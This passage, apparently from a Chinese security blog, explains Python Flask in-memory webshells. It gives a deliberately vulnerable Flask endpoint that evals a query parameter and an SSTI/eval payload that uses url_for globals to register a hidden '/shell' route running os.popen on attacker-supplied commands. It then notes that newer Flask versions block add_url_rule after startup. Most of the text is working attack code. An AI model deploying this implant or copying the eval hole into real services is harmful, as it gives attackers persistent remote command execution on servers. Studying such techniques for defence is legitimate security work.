常常听说java的内存马,python的内存马却鲜少听说
旧版flask 靶机代码
from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/e') def e(): a = eval(request.args.get('cmd')) if a : return "1" else: return "0" 网络上的多数信息是,利用ssti打一个命令执行
url_for.__globals__['__builtins__']['eval']( "app.add_url_rule( '/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read() )", { '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'], 'app':url_for.__globals__['current_app'] } ) 其中关键是
app.add_url_rule( '/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read() ) 在早期的时候是用add_url_rule函数,他的作用是添加一个新路由,在正常开发中我们常使用的是
@app.route('/') def index(): pass 而他等价于
def index(): pass app.add_url_rule('/', 'index', index) 回到关键payload
app.add_url_rule向当前的应用添加了一个新的路由,指向shell之后通过lambda匿名函数构建了路由逻辑,通过flask自动调用
而之后的
{ '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'], 'app':url_for.__globals__['current_app'] } 分别提供了request对象与app,使得上面运行正常
新版 在最新的flask中使用上述payload,会出现如下错误
AssertionError: The setup method 'add_url_rule' can no longer be called on the application. It has already handled its first request, any changes will not be applied consistently. 在新版中,add_url_rule不能在启动后直接添加了,不能接收路由变更
...